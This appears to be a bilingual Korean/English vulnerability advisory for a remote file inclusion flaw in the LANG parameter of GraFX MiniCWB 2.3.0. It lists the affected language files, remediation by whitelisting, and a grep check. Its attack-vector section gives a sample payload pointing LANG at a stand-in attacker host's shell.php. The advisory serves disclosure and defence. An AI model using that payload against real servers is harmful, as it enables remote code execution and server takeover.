🇰🇷 한글 설명
GraFX MiniCWB 2.3.0의 LANG 매개변수가 사용자 입력을 검증하지 않아 원격 파일 포함(RFI) 취약점이 발생합니다. 공격자가 임의의 URL을 LANG 파라미터에 전달하여 악성 PHP 파일을 로드하고 임의의 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 사용자가 지정한 외부 파일을 검증 없이 실행합니다. 공격자가 인터넷의 악성 파일 주소를 입력하면 서버가 이를 실행하여 완전히 장악됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in GraFX MiniCWB 2.3.0 allow remote attackers to execute arbitrary PHP code via a URL in the LANG parameter to (1) en.inc.php, (2) hu.inc.php, (3) no.inc.php, (4) ro.inc.php, and (5) ru.inc.php in language/.
📍 영향받는 시스템
GraFX MiniCWB 2.3.0 및 이전 버전 (language 디렉토리: en.inc.php, hu.inc.php, no.inc.php, ro.inc.php, ru.inc.php)
⚔️ 공격 벡터
HTTP GET/POST 요청에서 LANG 파라미터에 원격 URL 주입 (예: ?LANG=http://attacker.com/shell.php)
🛡️ 대응 방법
GraFX MiniCWB를 최신 버전으로 업그레이드하거나, LANG 파라미터를 사전정의된 언어 값(en, hu, no, ro, ru)으로만 제한하는 화이트리스트 필터링 적용
🔧 검증 코드
LANG 파라미터가 사용자 입력을 직접 포함하는지 확인. 검증 로직이 없으면 취약 상태이며 즉시 패치 필요
grep -r 'LANG' /var/www/*/language/*.inc.php 2>/dev/null | grep -E '\$_(?:GET|POST|REQUEST)' | head -5